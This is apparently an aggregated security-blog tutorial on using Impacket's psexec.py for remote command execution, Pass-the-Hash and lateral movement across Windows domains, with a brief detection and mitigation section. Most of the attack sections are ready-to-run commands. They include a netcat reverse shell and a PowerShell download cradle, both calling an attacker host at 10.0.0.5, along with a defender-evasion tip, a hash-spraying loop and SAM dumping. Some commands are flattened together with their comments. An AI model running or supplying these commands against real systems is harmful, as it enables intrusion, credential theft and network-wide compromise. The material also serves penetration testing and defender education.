Listen to this Post
Introduction:
Impacket’s `psexec.py` is a Python implementation of the Windows PsExec functionality, enabling remote command execution via SMB (Server Message Block) protocols. For penetration testers and red teamers, this tool provides a stealthy way to execute commands, spawn interactive shells, and move laterally across a Windows domain using only credentials or NTLM hashes—bypassing traditional authentication controls.
Learning Objectives:
- Execute remote commands and interactive shells on Windows targets using Impacket’s
psexec.py. - Perform Pass-the-Hash (PtH) attacks to authenticate without plaintext passwords.
- Upload custom payloads, enumerate systems, and propagate across a network for full domain compromise.
You Should Know:
1. Understanding PsExec and Impacket’s Implementation
PsExec is a legitimate Sysinternals tool that allows administrators to run processes remotely. Impacket replicates this over SMB using Python, creating a service on the target (PSEXESVC), executing commands, and removing traces. Unlike the original, Impacket’s version supports NTLM hashes directly, making it ideal for PtH.
How it works:
- Connects to ADMIN$ share (C:\Windows).
- Uploads a service executable.
- Starts the service, runs your command, captures output via named pipes.
- Stops and deletes the service.
Linux setup (Kali/Parrot):
sudo apt install impacket-scripts Debian-based or from source git clone https://github.com/fortra/impacket.git cd impacket && pip install .
Verify installation:
psexec.py -h
2. Basic Remote Command Execution with Credentials
Once you have a plaintext username/password (e.g., from phishing or LLMNR poisoning), use `psexec.py` to run any command on the remote host.
Syntax:
psexec.py domain/user:password@target_ip cmd.exe
Example – get hostname:
psexec.py CORPORATE/jdoe:P@[email protected] hostname
Interactive shell (no command specified):
psexec.py CORPORATE/jdoe:P@[email protected]
You’ll land in a semi-interactive shell (CMD). Use `exit` to terminate.
Windows alternative (Sysinternals PsExec):
psexec \192.168.1.50 -u CORPORATE\jdoe -p P@ssw0rd cmd
3. Pass-the-Hash (PtH) Attack with `psexec.py`
When you only have an NTLM hash (e.g., from Mimikatz or Responder), Impacket accepts the hash directly. This bypasses the need to crack it.
Format:
`-hashes LMhash:NThash` – if LM hash is unavailable, use `aad3b435b51404eeaad3b435b51404ee` (empty LM).
Command:
psexec.py CORPORATE/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:7C2E3D8F4A1B9C6D0E5F7A8B9C0D1E2F
Step-by-step PtH attack:
- Dump hashes from compromised machine (e.g., `reg save HKLM\SAM sam.save` +
secretsdump.py).
2. Identify target IP (e.g., domain controller).
3. Run `psexec.py` with the hash.
4. Execute `whoami /groups` to verify high privilege.
Test for local admin access:
psexec.py -hashes :<NThash> [email protected] whoami
4. Uploading and Executing Payloads
To deploy a reverse shell or tool, upload a payload via SMB and execute it.
Method 1 – Using smbclient to upload, then psexec to run:
Upload payload to ADMIN$\temp smbclient //192.168.1.50/ADMIN$ -U CORPORATE/jdoe%P@ssw0rd -c "put nc.exe temp\nc.exe" Execute with psexec psexec.py CORPORATE/jdoe:P@[email protected] "C:\Windows\temp\nc.exe -e cmd 10.0.0.5 4444"
Method 2 – Inline PowerShell download cradle:
psexec.py user:pass@target "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/rev.ps1')"
Windows defender evasion tip: Obfuscate the command or use alternate executables (e.g., rundll32).
5. Lateral Movement Across the Network
After compromising one host, enumerate active sessions, cached credentials, or network shares to move laterally.
Step-by-step lateral movement:
- On the initial foothold (using Impacket shell), run:
net view List other machines net use \target\IPC$
- From your attacker machine, use stolen hash against discovered IPs:
for ip in $(cat targets.txt); do psexec.py -hashes :<NThash> administrator@$ip whoami done
- To automate, use `psexec.py` inside a Python script or combine with
crackmapexec:crackmapexec smb targets.txt -u administrator -H <NThash> -x whoami
Pro tip: Impacket’s `atexec.py` (scheduled tasks) and `smbexec.py` (semi-stealth) are alternatives when PsExec is detected.
6. Detecting and Mitigating PsExec Abuse (Blue Team)
Defenders can monitor for PsExec artifacts: service creation event IDs (4698, 7045), network connections to ADMIN$ (port 445), and process creation PSEXESVC.exe. Use Sysmon configs to log `psexec` command lines.
Linux-based detection using Zeek (Bro):
zeek -C -r capture.pcap smb_files Look for writes to ADMIN$.exe
Mitigation:
- Restrict SMB inbound to only necessary hosts.
- Use Windows Defender Firewall with “Block all inbound SMB from non-domain controllers”.
- Enforce Microsoft’s “Constrained Administration” for Kerberos only (disables NTLM).
- Deploy EDR that flags service creation from remote context.
What Undercode Say:
- Key Takeaway 1: `psexec.py` transforms a single compromised credential or hash into full remote code execution across Windows networks, making it a staple of the red team arsenal.
- Key Takeaway 2: Pass-the-Hash remains devastatingly effective because NTLM authentication trusts the hash itself – not the plaintext password. Only disabling NTLM or using credential guard fully blocks this.
- Analysis: Impacket’s PsExec is preferred over Sysinternals’ version in pentesting due to its cross‑platform nature, hash support, and scriptability. However, modern EDRs detect the service creation pattern; attackers now blend
wmiexec,dcomexec, or even `ssh` on newer Windows builds. The arms race continues – but for internal networks still relying on legacy SMB and local admin shares, `psexec.py` remains a reliable hammer. Understanding its mechanics is crucial both for offensive testing and defensive hardening.
Prediction:
As Microsoft pushes cloud-native authentication (Azure AD, Windows Hello, FIDO2) and phases out NTLM in favor of Kerberos with faster rotation, Pass-the-Hash will lose viability over the next 3–5 years. However, legacy on‑prem environments and hybrid setups will keep SMB-based lateral movement alive. Red teams will shift toward token manipulation, Kerberos golden tickets, and cloud identity abuse. Impacket will adapt – expect first-class support for REST API-based command execution on Azure VMs and OAuth token reuse, mirroring today’s PtH techniques. Organizations that fail to disable NTLM and restrict SMB to protected subnets will continue to fall to simple `psexec.py` one‑liners.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Impacket For – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
